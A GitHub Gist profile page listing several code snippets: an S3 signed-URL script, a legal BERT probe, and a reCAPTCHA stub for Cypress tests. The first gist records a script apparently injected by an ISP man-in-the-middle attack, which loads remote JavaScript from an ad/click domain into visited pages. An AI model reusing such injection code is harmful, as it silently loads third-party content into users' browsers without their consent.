Skip to content

Instantly share code, notes, and snippets.

@codebreach
codebreach / ga.js
Last active August 29, 2015 14:25
MTNL man in the middle attack
(function(w) {
var s = document.createElement('script');
var z = setInterval(function() {
if (document.readyState == 'interactive' || document.readyState == 'complete') {
clearInterval(z);
s.src = "http://36275.w4statistics.info/click.php?p=272542&adult=1&c";
s.async = true;
s.type = type = 'text/javascript';
w.document.body.appendChild(s);
var app = angular.module('store', ['ngRoute', 'store-products']);
app.config(function($sceDelegateProvider) {
$sceDelegateProvider.resourceUrlWhitelist(['self', 'https://www.youtube.com/**']);
});
app.filter('offset', function() {
return function(input, start) {
start = parseInt(start, 10);
return input.slice(0);
}
;
@codebreach
codebreach / s3signurl.py
Created January 5, 2018 11:56 — forked from obeattie/s3signurl.py
Quick, dirty Python script that spits out a signed url for Amazon S3
#!/usr/bin/env python
import optparse
import sys
from boto.s3.connection import S3Connection
def sign(bucket, path, access_key, secret_key, https, expiry):
c = S3Connection(access_key, secret_key)
return c.generate_url(
expires_in=long(expiry),
@codebreach
codebreach / s3signurl.py
Created January 5, 2018 11:56 — forked from obeattie/s3signurl.py
Quick, dirty Python script that spits out a signed url for Amazon S3
#!/usr/bin/env python
import optparse
import sys
from boto.s3.connection import S3Connection
def sign(bucket, path, access_key, secret_key, https, expiry):
c = S3Connection(access_key, secret_key)
return c.generate_url(
expires_in=long(expiry),
@codebreach
codebreach / legal_bert_lama_probe.py
Last active February 28, 2021 11:42
Measuring the Effects of Domain Adaptation on Transformers' Legal Knowledge
@codebreach
codebreach / stub-recaptcha-api.js
Last active July 4, 2024 05:25
A Stub for Google Recaptcha V3 API. Use it with Cypress to disable recaptcha on client side.
/**
* API Compatible Stub for Google Recaptcha V3.
*
* Always passes recaptcha checks locally - if this was used in real
* life setting then the server side verification would fail.
*
*/
const requestOptions = [];
window.grecaptcha = {
ready: callback => callback(),